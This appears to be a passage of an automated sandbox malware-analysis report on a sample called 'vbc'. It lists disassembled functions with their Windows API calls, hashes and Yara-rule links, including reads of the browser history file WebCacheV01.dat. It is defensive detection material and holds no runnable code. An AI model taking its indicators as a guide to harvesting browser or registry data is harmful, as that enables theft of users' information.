                                                                                                              • Opcode Fuzzy Hash: eeb16535b7e8d9903344e6e4fc87394a79dd4b2724dffbbd49d7f28440978fac
                                                                                                              • Instruction Fuzzy Hash: 58114C72C00219ABCF11EBA5D9419DEBBB9EF44300F20047BE801F3280D634AF44CB96
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411BBC Relevance: 1.5, APIs: 1, Instructions: 28registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00411B67: RegOpenKeyExW.KERNEL32 ref: 00411B7A
                                                                                                                • Part of subcall function 00411B81: RegQueryValueExW.KERNEL32(?,+#A,00000000,?,?,?), ref: 00411B9C
                                                                                                              • RegCloseKey.KERNEL32(?), ref: 00411BF3
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CloseOpenQueryValue
                                                                                                              • String ID:
                                                                                                              • API String ID: 3677997916-0
                                                                                                              • Opcode ID: fd95102b6f2d1dbff1d45b23b38af9e4f9555e18b9e214470ab6cc203d378b14
                                                                                                              • Instruction ID: 9cc2e6b848d753550deaedcd8ed688a6271bbce27b588ebe4947f06967dc7091
                                                                                                              • Opcode Fuzzy Hash: fd95102b6f2d1dbff1d45b23b38af9e4f9555e18b9e214470ab6cc203d378b14
                                                                                                              • Instruction Fuzzy Hash: 8DE092B5504109BFDF105F56DC02DCE3BA9EF80355B100025FE01D0230F632EE50E514
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00405149 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • SetFilePointerEx.KERNELBASE(0040511F,?,?,00000000,00000000), ref: 00405165
                                                                                                                • Part of subcall function 00407B93: ReadFile.KERNELBASE(?,?,5"D,00000000,00000000), ref: 00407BAA
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$PointerRead
                                                                                                              • String ID:
                                                                                                              • API String ID: 3154509469-0
                                                                                                              • Opcode ID: 8e3300ccc99ceaafd88bf63aedabe6f8cf4ec2b06029cc1f8c5137446a6ac1ce
                                                                                                              • Instruction ID: 13fe659266928e09ca291fdb8c13dcfe3ff2a23a31d494a2ddaccb8188200d23
                                                                                                              • Opcode Fuzzy Hash: 8e3300ccc99ceaafd88bf63aedabe6f8cf4ec2b06029cc1f8c5137446a6ac1ce
                                                                                                              • Instruction Fuzzy Hash: 5CE0C736100100FFE6208F08CC06F6BBBF9EBC4B00F10883EB2A49A0B1C2326812CB24
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411B36 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetPrivateProfileIntW.KERNEL32 ref: 00411B5D
                                                                                                                • Part of subcall function 004119C6: memset.MSVCRT ref: 004119E5
                                                                                                                • Part of subcall function 004119C6: _itow.MSVCRT ref: 004119FC
                                                                                                                • Part of subcall function 004119C6: WritePrivateProfileStringW.KERNEL32 ref: 00411A0B
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PrivateProfile$StringWrite_itowmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 4232544981-0
                                                                                                              • Opcode ID: 4eb565fe38f19d9fcd3ef397b8be022b0e8b2ee90877df68a8cf7ef72faf0ee1
                                                                                                              • Instruction ID: e4974885a9e011c02de9f8347c72c3dce1736aa6ad634daf2893e710d343c839
                                                                                                              • Opcode Fuzzy Hash: 4eb565fe38f19d9fcd3ef397b8be022b0e8b2ee90877df68a8cf7ef72faf0ee1
                                                                                                              • Instruction Fuzzy Hash: ABE0B672000149AFDF125F80EC01AA97BA6FF04315F248459FA5805631D73695B0EB95
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411BFE Relevance: 1.5, APIs: 1, Instructions: 18registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • RegEnumKeyExW.KERNEL32(00000000,0040FB38,0040FB38,?,00000000,00000000,00000000,0040FB38), ref: 00411C21
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Enum
                                                                                                              • String ID:
                                                                                                              • API String ID: 2928410991-0
                                                                                                              • Opcode ID: bc21f9cc47fa5b046732220b9215cf733cc8b1ee73cd9779edcd813e773a84b2
                                                                                                              • Instruction ID: 1308f67a36d1f81e7a362711364538c316379f8292db7233c24585498cceb44f
                                                                                                              • Opcode Fuzzy Hash: bc21f9cc47fa5b046732220b9215cf733cc8b1ee73cd9779edcd813e773a84b2
                                                                                                              • Instruction Fuzzy Hash: EDD067B950010EBFDF01DFA0ED05DBE7BBDEB04208F108161BD15D2155D7719B15ABA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411376 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0041139E: LoadLibraryW.KERNEL32(psapi.dll,00000000,0041137E,00000000,0041126B,00000000,?), ref: 004113A9
                                                                                                                • Part of subcall function 0041139E: GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004113BD
                                                                                                                • Part of subcall function 0041139E: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 004113C9
                                                                                                                • Part of subcall function 0041139E: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 004113D5
                                                                                                                • Part of subcall function 0041139E: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 004113E1
                                                                                                                • Part of subcall function 0041139E: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 004113ED
                                                                                                              • K32GetModuleFileNameExW.KERNEL32(00000104,00000000,0041126B,00000104,0041126B,00000000,?), ref: 00411395
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$FileLibraryLoadModuleName
                                                                                                              • String ID:
                                                                                                              • API String ID: 3821362017-0
                                                                                                              • Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                                              • Instruction ID: 161ab63227dca0468342f2fd6fc01eeb5e2c53d4d8b5c6eb41d2cf02796b8335
                                                                                                              • Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                                              • Instruction Fuzzy Hash: B3D0A9312183196BE220AB708C00FABA3E86B40710F008C2ABAA0D68A8D264C8805354
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407BB2 Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 00407BC9
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileWrite
                                                                                                              • String ID:
                                                                                                              • API String ID: 3934441357-0
                                                                                                              • Opcode ID: d369bb92ad7c49a717be8c21899150b55a2c28b5f26bff8a5462d106715fcbd8
                                                                                                              • Instruction ID: 7a92458e03063ade3ff171a8f73d1b131da45bdd434acd56d38c8090c64c1cda
                                                                                                              • Opcode Fuzzy Hash: d369bb92ad7c49a717be8c21899150b55a2c28b5f26bff8a5462d106715fcbd8
                                                                                                              • Instruction Fuzzy Hash: 47D0C93511020DFBDF01CF80DC06FDD7B7DEB04759F108054BA1495060D7B59B14AB54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407144 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407156
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CreateFile
                                                                                                              • String ID:
                                                                                                              • API String ID: 823142352-0
                                                                                                              • Opcode ID: 9a929023f2c627b70a1d779166e782d06c126c11e9800125383b8a94db93c5c6
                                                                                                              • Instruction ID: 81d2dec17d2b84b4128be66cdd24e97b0dbf61b8fa3bcd6fd5fd384be9d73f32
                                                                                                              • Opcode Fuzzy Hash: 9a929023f2c627b70a1d779166e782d06c126c11e9800125383b8a94db93c5c6
                                                                                                              • Instruction Fuzzy Hash: E4C092B0240201BEFF228B10ED16F36695CD740B01F2044247E00E40E0D1A04F108924
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040715D Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • CreateFileW.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000), ref: 0040716F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CreateFile
                                                                                                              • String ID:
                                                                                                              • API String ID: 823142352-0
                                                                                                              • Opcode ID: b3d4b136a85312aa723e3c9e2acb5816e1c60966b2ab5dba606afdc82e084c94
                                                                                                              • Instruction ID: 6739adb68e03e12f7f7c1d8ccdc83ffe2e18cb8bef7d19e3acfe4a72d1b5eace
                                                                                                              • Opcode Fuzzy Hash: b3d4b136a85312aa723e3c9e2acb5816e1c60966b2ab5dba606afdc82e084c94
                                                                                                              • Instruction Fuzzy Hash: 49C092F02502017EFF208B10AD0AF37695DD780B01F2084207E00E40E0D2A14C008924
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408604 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??3@
                                                                                                              • String ID:
                                                                                                              • API String ID: 613200358-0
                                                                                                              • Opcode ID: 7a03e879792b5fe31c33d7af5755a579040ef1194e7f819d695dad1928dde993
                                                                                                              • Instruction ID: b86fd1081c12c971c14e25096d529e9df9055785cb1c99d48f6af2a57df14557
                                                                                                              • Opcode Fuzzy Hash: 7a03e879792b5fe31c33d7af5755a579040ef1194e7f819d695dad1928dde993
                                                                                                              • Instruction Fuzzy Hash: D3C09BB15127015BFB345E15D50571273E45F50727F354C1DB4D1D24C2DB7CD4408518
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004084DA Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • FindClose.KERNELBASE(?,004083EE,?,00000000,00000000,?,00410708,?), ref: 004084E4
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CloseFind
                                                                                                              • String ID:
                                                                                                              • API String ID: 1863332320-0
                                                                                                              • Opcode ID: ce138f875d3acdc4bfbe17b30e16d53cb8f2c6707e5d1d9850a648f01b786906
                                                                                                              • Instruction ID: a26663696ee19f03613d77843e46d9f39b2dea1a9069363f3edb82d48ea13a69
                                                                                                              • Opcode Fuzzy Hash: ce138f875d3acdc4bfbe17b30e16d53cb8f2c6707e5d1d9850a648f01b786906
                                                                                                              • Instruction Fuzzy Hash: FFC092346205028BE23C5F38AD5A82A77E0BF4A3313B40F6CA0F3D20F0EB3884428A04
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004117E3 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • FreeLibrary.KERNELBASE(?,00409EC4,00000000,004101A5,?,?,?,?,?,0040328B,?), ref: 004117EF
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FreeLibrary
                                                                                                              • String ID:
                                                                                                              • API String ID: 3664257935-0
                                                                                                              • Opcode ID: 0e5244a652f8a00c19ee35b2b6df8d293c0f8fc24debe18f1969453427d3ee92
                                                                                                              • Instruction ID: 28a9858cfff7e6e2b1914a1c804994c03dcb5394f8963e6e43683e707f81cfe3
                                                                                                              • Opcode Fuzzy Hash: 0e5244a652f8a00c19ee35b2b6df8d293c0f8fc24debe18f1969453427d3ee92
                                                                                                              • Instruction Fuzzy Hash: 83C04C351107028BE7218B12C849753B7F8BB00717F40C818A566859A0D77CE454CE18
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411F7E Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • EnumResourceNamesW.KERNEL32(?,?,00411EF8,00000000), ref: 00411F8D
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: EnumNamesResource
                                                                                                              • String ID:
                                                                                                              • API String ID: 3334572018-0
                                                                                                              • Opcode ID: ad90743229005492c5e374903a2f61f35334675862818203282ec323c157130c
                                                                                                              • Instruction ID: 6c621939844f31da33ced499d0f7f7abb962291178acb537878d9391fa7c1b50
                                                                                                              • Opcode Fuzzy Hash: ad90743229005492c5e374903a2f61f35334675862818203282ec323c157130c
                                                                                                              • Instruction Fuzzy Hash: C8C09B32194342BBD7019F508C05F1B7A95BB55703F104C297561940B0C75140549605
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407548 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetFileAttributesW.KERNELBASE(?,0040A987,?,0040AA3E,00000000,?,00000000,00000208,?), ref: 0040754C
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AttributesFile
                                                                                                              • String ID:
                                                                                                              • API String ID: 3188754299-0
                                                                                                              • Opcode ID: 201396fe258989d033aef496f9219e0ec37e2295b66c2c7cdc95f8b8143fc0af
                                                                                                              • Instruction ID: 786af1a6681fc588f4ed673612d44b37cd66a9ddadc6b0c90f2aca86fde3c3ed
                                                                                                              • Opcode Fuzzy Hash: 201396fe258989d033aef496f9219e0ec37e2295b66c2c7cdc95f8b8143fc0af
                                                                                                              • Instruction Fuzzy Hash: 41B012792100404BCB080B349C4504D75506F46B32B20473CB073C00F0DB30CD70BA00
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411B67 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Open
                                                                                                              • String ID:
                                                                                                              • API String ID: 71445658-0
                                                                                                              • Opcode ID: d8bfda6a3cd3cbaaac1923a92569980932abdf526a58af7fc260ebb20eba954b
                                                                                                              • Instruction ID: 8fd1618fdc001f910610ea30bed12e65be45571f6aff6d2ea6de46bc6098db87
                                                                                                              • Opcode Fuzzy Hash: d8bfda6a3cd3cbaaac1923a92569980932abdf526a58af7fc260ebb20eba954b
                                                                                                              • Instruction Fuzzy Hash: F8C09B35544301BFDE114F40FD05F09BF71BB84F05F004414B244640B1C2714414EB17
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004081EA Relevance: 1.4, APIs: 1, Instructions: 127COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00407EB8: free.MSVCRT(?,00408225,00000000,?,00000000), ref: 00407EBB
                                                                                                                • Part of subcall function 00407EB8: free.MSVCRT(?,?,00408225,00000000,?,00000000), ref: 00407EC3
                                                                                                              • free.MSVCRT(?,00000000,?,00000000), ref: 004082B2
                                                                                                                • Part of subcall function 00408001: free.MSVCRT(?,00000000,?,004082EE,00000000,?,00000000), ref: 00408010
                                                                                                                • Part of subcall function 00407475: malloc.MSVCRT ref: 00407491
                                                                                                                • Part of subcall function 00407475: memcpy.MSVCRT ref: 004074A9
                                                                                                                • Part of subcall function 00407475: free.MSVCRT(00000000,00000000,?,00408025,00000002,?,00000000,?,004082EE,00000000,?,00000000), ref: 004074B2
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free$mallocmemcpy
                                                                                                              • String ID:
                                                                                                              • API String ID: 3401966785-0
                                                                                                              • Opcode ID: 2965bb17a7e0c771abc11c43702067ecb1f0b8c1624655e4732796e1fec34586
                                                                                                              • Instruction ID: 9a294873d4d6790ac16ff047b4da0d243ffe3cbd3c442eed78fe53e82fef6e86
                                                                                                              • Opcode Fuzzy Hash: 2965bb17a7e0c771abc11c43702067ecb1f0b8c1624655e4732796e1fec34586
                                                                                                              • Instruction Fuzzy Hash: 22513672D006099BCB10DF99C5804DEBBB5BB48314F60817FE990B7391DB38AE85CB99
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00419681 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 71768e3b57be439b0f9ce1a84ee98f19883832beed36a2a3ef83e6d3b54edd1a
                                                                                                              • Instruction ID: 4be01e504a1dbe863e5cd1883b5f47abe9c308d3627063d178914d84215e5ed1
                                                                                                              • Opcode Fuzzy Hash: 71768e3b57be439b0f9ce1a84ee98f19883832beed36a2a3ef83e6d3b54edd1a
                                                                                                              • Instruction Fuzzy Hash: 32319E31614206EFDF14AF15D9517DAB3A0FF00364F11412BF8259B290EB38EDE09BA9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004059F7 Relevance: 1.3, APIs: 1, Instructions: 56COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _wcsicmp
                                                                                                              • String ID:
                                                                                                              • API String ID: 2081463915-0
                                                                                                              • Opcode ID: 41f2013b61855fdfcf550691bf27e46f9415e422855e3785272a8278644a1db6
                                                                                                              • Instruction ID: a3dc623871aa55e9e138b6aa735e1cfc4d22eb4fa3c35538bc996f6fefcd79cf
                                                                                                              • Opcode Fuzzy Hash: 41f2013b61855fdfcf550691bf27e46f9415e422855e3785272a8278644a1db6
                                                                                                              • Instruction Fuzzy Hash: 65113A75600A05AFCB14DF69C9C19ABB7F8FF04314B10463EA456E7241DB34E9458F68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004050B7 Relevance: 1.3, APIs: 1, Instructions: 39COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00405137: CloseHandle.KERNEL32(000000FF), ref: 0040513F
                                                                                                                • Part of subcall function 00407144: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407156
                                                                                                              • GetLastError.KERNEL32(00000000,?,00408B2E,00000000,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat,?,?,?,00409013,?,004091EB,000000FF,00000000,00000104), ref: 00405124
                                                                                                                • Part of subcall function 00407B93: ReadFile.KERNELBASE(?,?,5"D,00000000,00000000), ref: 00407BAA
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$CloseCreateErrorHandleLastRead
                                                                                                              • String ID:
                                                                                                              • API String ID: 2136311172-0
                                                                                                              • Opcode ID: e1fa86938fa3109ce0b7763a12cdd910979c4d4d9c688e98096abe29a5a3520b
                                                                                                              • Instruction ID: 849b43cde7c86ee220a2fa92f028283b8c7de21471a02e191cd59f19f3ad1342
                                                                                                              • Opcode Fuzzy Hash: e1fa86938fa3109ce0b7763a12cdd910979c4d4d9c688e98096abe29a5a3520b
                                                                                                              • Instruction Fuzzy Hash: DD0181B1815A008AD720AB65DC057A776E8DF11319F10893FE5A5EF2C2EB7C94408E6E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004085EB Relevance: 1.3, APIs: 1, Instructions: 12COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00408604: ??3@YAXPAX@Z.MSVCRT ref: 0040860B
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 004085F4
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@??3@
                                                                                                              • String ID:
                                                                                                              • API String ID: 1936579350-0
                                                                                                              • Opcode ID: c4c244ccb30b183d3550635b452a5d4afba6a495f05b66f96448f990385c2ccf
                                                                                                              • Instruction ID: 922d8024f7c410ba2bf811e6c001bae8f16a2ee087a1061d919dd730706e44d9
                                                                                                              • Opcode Fuzzy Hash: c4c244ccb30b183d3550635b452a5d4afba6a495f05b66f96448f990385c2ccf
                                                                                                              • Instruction Fuzzy Hash: 36C02B3241D2101FD764FFB4360205722D4CE822383014C2FF0C0D3100DD3884014B4C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408037 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • free.MSVCRT(00000000,00408352,00000000,?,00000000), ref: 0040803E
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free
                                                                                                              • String ID:
                                                                                                              • API String ID: 1294909896-0
                                                                                                              • Opcode ID: b8cd1effcdf29b95293438428d1a83d87b736904a3019313e09548ab324a0620
                                                                                                              • Instruction ID: b2304b4461d9917b15a132db01dd128865174dbe20628525ae7b4e3248e143f9
                                                                                                              • Opcode Fuzzy Hash: b8cd1effcdf29b95293438428d1a83d87b736904a3019313e09548ab324a0620
                                                                                                              • Instruction Fuzzy Hash: 17C08CB24107018FF7308F11C905322B3E4AF0073BFA08C0EA0D0914C2DBBCD084CA08
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00402778 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • free.MSVCRT(00000000,0040E508,?,?,?,?,?,/deleteregkey,/savelangfile,?,?), ref: 0040277F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free
                                                                                                              • String ID:
                                                                                                              • API String ID: 1294909896-0
                                                                                                              • Opcode ID: 12e10aa5a455c2b2122ca5546f3d5514bdec465a3aa4be4c1af19d6b195196c9
                                                                                                              • Instruction ID: cac01d1bc301b84fbdbddb48431dcac5afc2edf88536e2650f831a4bf4b80b8a
                                                                                                              • Opcode Fuzzy Hash: 12e10aa5a455c2b2122ca5546f3d5514bdec465a3aa4be4c1af19d6b195196c9
                                                                                                              • Instruction Fuzzy Hash: 7AC00272550B019FF7609F15C94A762B3E4AF5077BF918C1DA4A5924C1E7BCD4448A18
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00412B6F Relevance: 1.3, APIs: 1, Instructions: 5COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free
                                                                                                              • String ID:
                                                                                                              • API String ID: 1294909896-0
                                                                                                              • Opcode ID: b450fec74f7795ac9fca528e737bf449a82a962f0464f52a5a7c386dc31c5c02
                                                                                                              • Instruction ID: 46b4f55e9d8111901284769a6e1cf788246b5727949f953e2d9518689c8df02f
